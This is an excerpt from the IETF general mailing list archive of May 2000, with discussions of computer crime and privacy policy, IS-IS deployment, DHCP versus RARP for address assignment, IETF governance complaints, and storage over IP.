Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <4.3.1.2.20000524135544.03d1c080@127.0.0.1>; from Harald@Alvestrand.no on Wed, May 24, 2000 at 01:55:46PM +0200
X-Loop: ietf@ietf.org

On Wed, May 24, 2000 at 01:55:46PM +0200, Harald Alvestrand wrote:
> At 18:27 23.05.2000 +0000, Dawson, Peter D wrote:
> >btw, this info would be required on the fly... so that net admin/sec
> >would be in a better position to pinpoint the perpetrator's habits/
> >physiological profile etc..
> the idea that any net admin in the world can be authorized on the fly to 
> pinpoint my habits, physiological profiles "etc" by an unverified 
> accusation of suspicion of computer crime does not strike joy into my heart.

> I'm glad it's illegal in Norway.

	Now throw this mix into the pot...

	France just got a court order against Yahoo to force them to
prohibit any auctions of Nazi related memorabilia from reaching French
citizens.  It's illegal in France, as is hate speech with is perfectly
legal here in the US.  Of course, a large volume of material that is
considered perfectly legal in France, is considered banned and illegal
pornography in the US.  France, violence is out, sex is in.  US, violence
is in, sex is out.  Both have laws to back it up that can cover the net.

	Don't know what you've got there in Norway, but I'll bet we
can come up with some delightful contrasts there as well.

	The European Union just leap frogged over the US relaxation of
crypto regulations and basically freed up crypto for one and all.  The
US is not happy, with appropriate insinuations of it assisting the four
horsemen of the infocalypse.

	In this atmosphere where the arguing parties can not even decide
on what IS and IS NOT a crime and where "political crimes" and "thought
crimes" outnumber hard crimes, we should not be talking about throwing
more technology at what is fundamentally NOT a technological problem.
We should be working on solving technological problems and designing
the best technology possible.

	At a recent conference on computer crimes, I belive a call was
made for uniform laws and enforcement, or something similar.  While
there is the danger of those uniform laws proving to be the lowest
common denominator of the most draconian ones, it also likely to fall
prey to countries and their interests in religiously protecting the
rights and freedoms they cherish most.  In the end, I think I would
wait and see what these uniform laws and enforcement end up being, before
I start arguing about what technology would be appropriate to support them.
I would not, however, hold my breath while waiting for this new era
of uniformity and cooperation.


>                    Harald

> --
> Harald Tveit Alvestrand, EDB Maxware, Norway
> Harald.Alvestrand@edb.maxware.no

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Wed May 24 10:41:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA06785
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 10:40:02 -0400 (EDT)
Received: from mout1.freenet.de (exim@mout1.freenet.de [194.97.50.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06752
	for <ietf@ietf.org>; Wed, 24 May 2000 10:37:08 -0400 (EDT)
Received: from [62.104.201.2] (helo=mx1.freenet.de)
	by mout1.freenet.de with esmtp (Exim 3.14 #3)
	id 12ucCU-0007LD-00; Wed, 24 May 2000 16:31:59 +0200
Received: from [62.104.198.141] (helo=canna)
	by mx1.freenet.de with smtp (Exim 3.14 #3)
	id 12ucCP-0000O4-00; Wed, 24 May 2000 16:31:53 +0200
Reply-To: <a.dieball@mobilcom.de>
From: "Andre Dieball" <a.dieball@mobilcom.de>
To: "David Wang" <david.wang@metro-optix.com>, <ietf@ietf.org>
Subject: RE: MPLS and IS-IS
Date: Wed, 24 May 2000 16:27:05 +0200
Message-ID: <DMECJGAGIAHNDHGEBLKKMEPHCAAA.a.dieball@mobilcom.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
In-Reply-To: <D7F6115661E9D311834F006008F5C83C09639B@MAILHOST>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi

> 
> 2.  Besides UUNET, which ISPs run IS-IS protocol? Can you name a few? or
> what percentage of networks run IS-IS instead of OSPF?

MobilCOM City LINE, on IP and ATM



Mit freundlichen Gruessen
Yours faithfully 

Andre Dieball
----------------------------------------------------------------------
MobilCOM City LINE GmbH
WAN Switching				phone: +49 4331 69-1229
Hollerstr. 126				fax:   +49 4331 69-2260
24782 Buedelsdorf			email: a.dieball@mobilcom.de
GERMANY					http://www.mobilcom.de
PGP: 540E 4D84 C070 811C  2F49 3799 7E17 77EB
----------------------------------------------------------------------


> 
> Thanks
> David
> 
> 
> -----Original Message-----
> From: HANSEN CHAN [mailto:hchan@newbridge.com]
> Sent: Tuesday, May 16, 2000 7:22 AM
> To: mpls@UU.NET
> Subject: MPLS and IS-IS
> 
> 
> Hi all,
> 
> I have been hearing IS-IS is a better protocol to be used than OSPF in a
> MPLS
> network for TE application. Is that a fair statement? What are 
> the technical
> reasons?
> 
> Appreciate if someone can shed some light on this subject.
> 
> Thanks,
> Hansen
> 
> 



From owner-ietf-outbound  Thu May 25 04:41:40 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA01985
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 04:40:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01870
	for <ietf@ietf.org>; Thu, 25 May 2000 04:30:02 -0400 (EDT)
Received: from langfjella.maxware.no ([193.44.76.100])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id KAA20692;
	Thu, 25 May 2000 10:29:56 +0200
Message-Id: <4.3.1.2.20000524154123.0402adf0@127.0.0.1>
X-Sender: hta@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 24 May 2000 15:45:28 +0200
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>,
        "'IETF general mailing list'" <ietf@ietf.org>
From: Harald Alvestrand <Harald@Alvestrand.no>
Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
In-Reply-To: <C7091526C06AD211A7450004AC384A350C35D20A@mwabs035.emerywor
 ld.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 12:40 24.05.2000 +0000, Dawson, Peter D wrote:
>So the "unverified accusation" ... should become "verifiable" and this
>could only be possible if there is a code of ethics between noc/isp etc...
>i.e just what I suggested in my earlier posting...
RFC 2350 and draft-ietf-grip-isp-expectations, and other GRIP documents are 
the furthest the IETF has come in addressing the "code of ethics" problem.

It's a start; we've proved that getting anywhere in this direction causes a 
great deal of discussion, and that expectations vary greatly.

The group is still open, and welcomes volunteers.

                   Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Thu May 25 05:30:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA02341
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 05:30:02 -0400 (EDT)
Received: from mailsrvnt01.ssdi.sharp.co.in ([203.197.160.35])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA02318
	for <ietf@ietf.org>; Thu, 25 May 2000 05:28:37 -0400 (EDT)
Received: by mailsrvnt01.ssdi.sharp.co.in with Internet Mail Service (5.5.2650.21)
	id <K44CV361>; Thu, 25 May 2000 15:05:02 +0530
Message-ID: <9753A88725D7D3119BE0009027CC6CA2206081@mailsrvnt01.ssdi.sharp.co.in>
From: Sriram Shanmugam <SSriram@ssdi.sharp.co.in>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Configuration...
Date: Thu, 25 May 2000 15:04:53 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Hai , 

	  I am developing a configuration software which should assign an IP
address for a network device  which is connected to the network for the
first time through my program .

	What is the procedure ? , should i use bootp or DHCP or ARP , please
do advice me .In case I assign only IP address in my configuration
application , can i write a common configuration software which can be used
to configure for HP , Lexmark , sharp etc etc.

Thanks in advance,

Regards,
S.Sriram



From owner-ietf-outbound  Thu May 25 06:30:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA02725
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 06:30:01 -0400 (EDT)
Received: from fsnt.future.futusoft.com ([203.197.140.35])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02677
	for <ietf@ietf.org>; Thu, 25 May 2000 06:21:44 -0400 (EDT)
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futusoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000565977@fsnt.future.futusoft.com>;
 Thu, 25 May 2000 16:01:46 +0530
Received: from ravicm.future.futsoft.com (ravicm.future.futsoft.com [10.0.14.2]) by kailash.future.futsoft.com (8.7.1/8.7.1) with SMTP id PAA03179; Thu, 25 May 2000 15:37:56 +0530
Received: by localhost with Microsoft MAPI; Thu, 25 May 2000 15:40:33 +0530
Message-Id: <01BFC65F.90313540.ravicm@future.futsoft.com>
From: Ravichandran M <ravicm@future.futsoft.com>
Reply-To: "ravicm@future.futsoft.com" <ravicm@future.futsoft.com>
To: "'Sriram Shanmugam'" <SSriram@ssdi.sharp.co.in>,
        "'ietf@ietf.org'"
	 <ietf@ietf.org>
Subject: RE: Configuration...
Date: Thu, 25 May 2000 15:40:31 +0530
Organization: Future Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,
If its only IP address, use RARP mechanism to get the IP address (this 
requires a rarp server to be in place in the same network). RARP server can 
be enabled in the Linux server. If RARP fails(after some timeout), then go 
ahead to use Bootp to get the IP address.

Regards
M.Ravichandran

-----Original Message-----
From:	Sriram Shanmugam [SMTP:SSriram@ssdi.sharp.co.in]
Sent:	Thursday, May 25, 2000 3:05 PM
To:	'ietf@ietf.org'
Subject:	Configuration...

Hai ,

	  I am developing a configuration software which should assign an IP
address for a network device  which is connected to the network for the
first time through my program .

	What is the procedure ? , should i use bootp or DHCP or ARP , please
do advice me .In case I assign only IP address in my configuration
application , can i write a common configuration software which can be used
to configure for HP , Lexmark , sharp etc etc.

Thanks in advance,

Regards,
S.Sriram



From owner-ietf-outbound  Thu May 25 07:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA03805
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 07:20:02 -0400 (EDT)
Received: from scriba.org (bob@scriba.org [208.178.122.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03690
	for <ietf@ietf.org>; Thu, 25 May 2000 07:15:48 -0400 (EDT)
Received: from localhost (bob@localhost) by scriba.org (8.8.5/8.7.3) with ESMTP id HAA13905; Thu, 25 May 2000 07:14:50 -0400
Date: Thu, 25 May 2000 07:14:50 -0400 (EDT)
From: Bob Allisat <bob@fcn.net>
X-Sender: bob@mansfield
To: ietf@ietf.org
cc: mark.paton@btinternet.com, iacovou@software.umn.edu
Subject: RE: IETF *is* computer crime.
Message-ID: <Pine.LNX.4.21.0005241743020.24030-100000@mansfield>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Mark Paton writes:
> The IETF does a great job and does'nt deserve or
> warrent this attack.  The people who deserve it
> are the politicians who are trying to implement
> "laws" on the use of the InterNet, have a go at
> them and leave this group alone.

 Hate to belabour a point that is probably 
 hopeless but .... those politicians include
 the blessed leaders of the blessed IETF. Who,
 through ICANN, ISOC, IAB, support of the ITU 
 & the WTO and so on advocate a "law" of their
 own. With no oversight or real popular democratic
 checks, balances or controls. That only seems
 to increase centralization, inhibit  innovation
 and enhance the power and influence *not* of
 citizens but of corporate power-holders and
 executives. Which they just happen to be.

 For example the horrendous manner in which
 competition and participation by individuals 
 and small businesses in the creation of New
 Domain Names was suffocated. Anyone remember
 what happened to Alternic? And that was thanks
 to core IETF insiders and friends. Another
 example is the manner in which IP addresses
 are being artificially restricted and marketed.
 I mean there is no shortage of numbers is there?
 The last example is the increasingly complex
 and rarified atmosphere in which standards and
 protocols are being mortified. By the same
 people who stand the most to gain fom any
 development: industry insiders. All in the
 interests of a very few fellow citizens.

 But all that doesn't matter, does it. As long
 as the network works no-one (meaning anyone
 making money hand over fist from all this)
 complains. The hugely inflated paper profits
 keep rolling in for all those stock option
 holders who make up the IETF, ICANN, IAB and 
 so on and so forth. Problem? Not for these
 folks. For the rest of us, maybe. Not for the
 bloody IETF, oh no.


 Bob Allisat




From owner-ietf-outbound  Thu May 25 10:21:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08981
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 10:20:02 -0400 (EDT)
Received: from poseidon.bwc.state.oh.us ([198.234.212.100])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08941
	for <ietf@ietf.org>; Thu, 25 May 2000 10:17:30 -0400 (EDT)
Received: by poseidon.bwc.state.oh.us; id KAA19508; Thu, 25 May 2000 10:15:30 -0400 (EDT)
Received: from venus.bwc.state.oh.us(165.223.131.35) by neptune.bwc.state.oh.us via smap (V5.0)
	id xma019463; Thu, 25 May 00 10:14:36 -0400
Received: from mswg6.bwc.state.oh.us ([165.223.130.24])
	by venus.bwc.state.oh.us (8.9.3/8.9.1) with ESMTP id KAA08389
	for <ietf@ietf.org>; Thu, 25 May 2000 10:21:16 -0400 (EDT)
Received: by MSWG6 with Internet Mail Service (5.5.2650.21)
	id <L1K9BVA7>; Thu, 25 May 2000 10:15:49 -0400
Message-ID: <6FDE0867413DD21182BF00A0C972519204C98A15@MSWG4>
From: "Morrisey Matthew J." <Matthew.Morrisey@bwc.state.oh.us>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: 48th IETF meeting in Pittsburgh, PA
Date: Thu, 25 May 2000 10:15:41 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

Who is the host?
Where can i find more info?

Matt Morrisey



From owner-ietf-outbound  Thu May 25 10:30:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA09244
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 10:30:02 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08957
	for <ietf@ietf.org>; Thu, 25 May 2000 10:19:24 -0400 (EDT)
Received: from wasp.inet.org ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id OAA03032;
	Thu, 25 May 2000 14:11:28 GMT
Message-Id: <4.2.0.58.20000525101819.0096d3f0@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 25 May 2000 10:19:04 +0100
To: "ravicm@future.futsoft.com" <ravicm@future.futsoft.com>
From: RJ Atkinson <rja@inet.org>
Subject: RE: Configuration...
Cc: <ietf@ietf.org>
In-Reply-To: <01BFC65F.90313540.ravicm@future.futsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 11:10 25-05-00 , Ravichandran M wrote:
>Hi,
>If its only IP address, use RARP mechanism to get the IP address (this
>requires a rarp server to be in place in the same network). RARP server can
>be enabled in the Linux server. If RARP fails(after some timeout), then go
>ahead to use Bootp to get the IP address.

         With all respect, RARP is a disaster operationally.  DHCP would be
a much better choice from the viewpoint of most (not all) network
operations folks in the world.

Ran



From owner-ietf-outbound  Thu May 25 11:30:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA11295
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 11:30:02 -0400 (EDT)
Received: from mail.cic.tsinghua.edu.cn (mail.cic.tsinghua.edu.cn [166.111.4.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11149
	for <ietf@ietf.org>; Thu, 25 May 2000 11:21:59 -0400 (EDT)
Received: from a ([166.111.178.110])
	by mail.cic.tsinghua.edu.cn (8.8.7/8.8.7) with SMTP id AAA18165
	for <ietf@ietf.org>; Fri, 26 May 2000 00:26:47 +0900 (CDT)
Message-Id: <200005251526.AAA18165@mail.cic.tsinghua.edu.cn>
Date: Thu, 25 May 2000 23:25:48 +0800
From: qtl <qtl@263.net>
To: "ietf@ietf.org" <ietf@ietf.org>
Subject: digital wrapper!
X-mailer: FoxMail 3.0 beta 2 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi:
	How about digital wrapper now?I want to know it?
Where can I find the document about it?
	Thank you!


            qtl  
            qtl@263.net



From owner-ietf-outbound  Thu May 25 13:30:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA14951
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 13:30:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14897
	for <ietf@ietf.org>; Thu, 25 May 2000 13:29:05 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id KAA19044
	for <ietf@ietf.org>; Thu, 25 May 2000 10:28:17 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AK3FS9>; Thu, 25 May 2000 15:29:12 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D214@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: "'IETF general mailing list'" <ietf@ietf.org>
Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
Date: Thu, 25 May 2000 15:36:09 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



>-----Original Message-----
>From: Harald Alvestrand [mailto:Harald@Alvestrand.no]
>Sent: Wednesday, May 24, 2000 9:45 AM
>To: Dawson, Peter D; 'IETF general mailing list'
>Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
>
>
>At 12:40 24.05.2000 +0000, Dawson, Peter D wrote:
>>So the "unverified accusation" ... should become "verifiable" and this
>>could only be possible if there is a code of ethics between 
>noc/isp etc...
>>i.e just what I suggested in my earlier posting...
>RFC 2350 and draft-ietf-grip-isp-expectations, and other GRIP 
>documents are 
>the furthest the IETF has come in addressing the "code of 
>ethics" problem.
>


Is there a GRIP online email archive ??
/pd



From owner-ietf-outbound  Thu May 25 14:00:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA16316
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 14:00:02 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16199
	for <ietf@ietf.org>; Thu, 25 May 2000 13:55:00 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 12v1qR-0008k8-00; Thu, 25 May 2000 10:54:55 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
Cc: "'IETF general mailing list'" <ietf@ietf.org>
Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
References: <C7091526C06AD211A7450004AC384A350C35D214@mwabs035.emeryworld.com>
Message-Id: <E12v1qR-0008k8-00@rip.psg.com>
Date: Thu, 25 May 2000 10:54:55 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> Is there a GRIP online email archive ??

details about all ietf wgs are on the ietf web site, <http://ietf.org/>.
grip's in particular is <http://www.ietf.org/html.charters/grip-charter.html>.

randy



From owner-ietf-outbound  Thu May 25 14:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA16621
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 14:10:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16491
	for <ietf@ietf.org>; Thu, 25 May 2000 14:05:20 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id LAA05866
	for <ietf@ietf.org>; Thu, 25 May 2000 11:04:50 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AK3JB6>; Thu, 25 May 2000 17:51:51 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D216@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: "'IETF general mailing list'" <ietf@ietf.org>
Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
Date: Thu, 25 May 2000 17:58:46 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



>-----Original Message-----
>From: Randy Bush [mailto:randy@psg.com]
>Sent: Thursday, May 25, 2000 1:55 PM
>To: Dawson, Peter D
>Cc: 'IETF general mailing list'
>Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
>
>
>> Is there a GRIP online email archive ??
>
>details about all ietf wgs are on the ietf web site, 
><http://ietf.org/>.
>grip's in particular is 
><http://www.ietf.org/html.charters/grip-charter.html>.
>
>randy
>



Thanks, however, I was looking for a online archive..rather then the 
flat file,< archive: http://www-ext.eng.uu.net/grip-wg/grip-wg.txt >

/pd



From owner-ietf-outbound  Thu May 25 17:20:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA20932
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 17:20:02 -0400 (EDT)
Received: from ns2.microwavenetworks.com (ns2.microwavenetworks.com [209.44.144.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20869
	for <ietf@ietf.org>; Thu, 25 May 2000 17:17:34 -0400 (EDT)
Received: from mercury.mns (exchmail [172.16.11.6])
	by ns2.microwavenetworks.com (8.9.3/8.9.3) with ESMTP id QAA23880
	for <ietf@ietf.org>; Thu, 25 May 2000 16:17:31 -0500
Received: by MERCURY with Internet Mail Service (5.0.1460.8)
	id <CDGQ9GZT>; Thu, 25 May 2000 16:15:14 -0500
Message-ID: <CC96542306D7D2119E0B080009EB58FE9582FA@MERCURY>
From: Timothy Behne <TimothyB@microwavenetworks.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Average Ethernet packet length
Date: Thu, 25 May 2000 16:15:12 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.0.1460.8)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


> Hi,
> 
> A recent thread suggested something interesting - an average Ethernet/IP
> packet length of 500 bytes.  Has there been any work done in the area of
> finding average packet lengths, bandwidth usage, etc. of typical (read:
> unknown) networks?  Are there any "rules of thumb" values that are
> typically used?
> 
> Thanks,
> 
> Tim Behne
> Signal Processing Engineer
> Tadiran Microwave Networks
> 1000 Greenbriar, Ste 100A
> Stafford, Texas 77477
> timothyb@microwavenetworks.com
> 



From owner-ietf-outbound  Thu May 25 17:40:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA21349
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 17:40:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21305
	for <ietf@ietf.org>; Thu, 25 May 2000 17:36:44 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id OAA27465;
	Thu, 25 May 2000 14:36:33 -0700 (PDT)
Date: Thu, 25 May 2000 14:36:33 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005252136.OAA27465@shell9.ba.best.com>
To: ietf@ietf.org
Subject: Wimba uses ports 4382 and 5644
X-Loop: ietf@ietf.org

The asynchronous audio conferencing applet at www.wimba.com 
uses TCP ports 4382 and 5644.

Sites wishing to explore Wimba will need to allow access for 
TCP transmissions on those ports.  Those concerned regarding 
security issues should note that the signed applet has been 
ranked in the top 1% (and #1 overall, actually) by the JARS 
Java Applet Rating Service.

I've sent Wimba.com the URL for the commonly known port number 
registration form, as those ports do not yet appear in:
  http://www.isi.edu/in-notes/iana/assignments/port-numbers
Anyone knowing of any other uses of those ports, please 
mailto:contact@wimba.com.  Thanks!

Cheers,
James



From owner-ietf-outbound  Thu May 25 17:50:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA21536
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 17:50:02 -0400 (EDT)
Received: from mailhost.IntNet.net (mailhost.IntNet.net [198.252.32.150])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21489
	for <ietf@ietf.org>; Thu, 25 May 2000 17:46:15 -0400 (EDT)
Received: from jtoigo by mailhost.IntNet.net (8.8.5/INTNET/SMI-SVR4)
	id RAA06691; Thu, 25 May 2000 17:49:16 -0400 (EDT)
X-Auth: cs-clw-5-99.intnet.net [207.90.1.99]
Message-ID: <06d001bfc693$7f18ff20$dd9cfea9@jtoigo>
From: "Jon William Toigo" <jtoigo@IntNet.net>
To: <ietf@ietf.org>
Subject: Storage over Ethernet/IP
Date: Thu, 25 May 2000 17:52:14 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_06CD_01BFC671.F56982C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_06CD_01BFC671.F56982C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am seeking a few points of clarification:

1.  Fibre Channel folks have attempted to explain to me why TCP/IP could =
NEVER be a viable interconnect for block level storage operations.  They =
claim:

a.  TCP is too CPU intensive and creates too much latency for storage =
I/O operations.

b.  The IP stack is too top heavy and processing packet headers is too =
slow to support storage I/O operations.

c.  The maximum throughput of a GE TCP/IP connection is 768 Mps, which =
is too slow to support storage I/O operations.

Is any of this true?

2.  Adaptec has posited a replacement for TCP called STP for use as a =
transport for storage.  Does anyone know anything about this?

3.  Current discussions of the SCSI over IP protocol seem to ignore the =
issue of TCP or any other transport protocol.  Does anyone know =
definitively what transport is being suggested by the IBM/Cisco crowd?

4.  Another storage company is looking at Reliable UDP as a substitute =
for TCP in storage data transfers.  Where can I learn more about this =
protocol, which I am told was introduced many years ago by Cisco?

Thanks in advance for your assistance.

Jon William Toigo
Independent Consultant and Author
jtoigo@intnet.net



------=_NextPart_000_06CD_01BFC671.F56982C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am seeking a few points of=20
clarification:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1.&nbsp; Fibre Channel folks have =
attempted to=20
explain to me why TCP/IP could NEVER be a viable interconnect for block =
level=20
storage operations.&nbsp; They claim:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>a.&nbsp; TCP is too CPU intensive and =
creates too=20
much latency for storage I/O operations.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>b.&nbsp; The IP stack is too top heavy =
and=20
processing packet headers is too slow to support storage I/O=20
operations.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>c.&nbsp; The maximum throughput of a GE =
TCP/IP=20
connection is 768 Mps, which is too slow to support storage I/O=20
operations.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is any of this true?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2.&nbsp; Adaptec has posited a =
replacement for TCP=20
called STP for use as a transport for storage.&nbsp; Does anyone know =
anything=20
about this?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3.&nbsp; Current discussions =
of&nbsp;the SCSI over=20
IP protocol seem to ignore the issue of TCP or any other transport=20
protocol.&nbsp; Does anyone know definitively what transport is being =
suggested=20
by the IBM/Cisco crowd?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>4.&nbsp; Another storage company is =
looking at=20
Reliable UDP as a substitute for TCP in storage data transfers.&nbsp; =
Where can=20
I learn more about this protocol, which I am told was introduced many =
years ago=20
by Cisco?</FONT></DIV>
<DIV>&nbsp;</DIV>
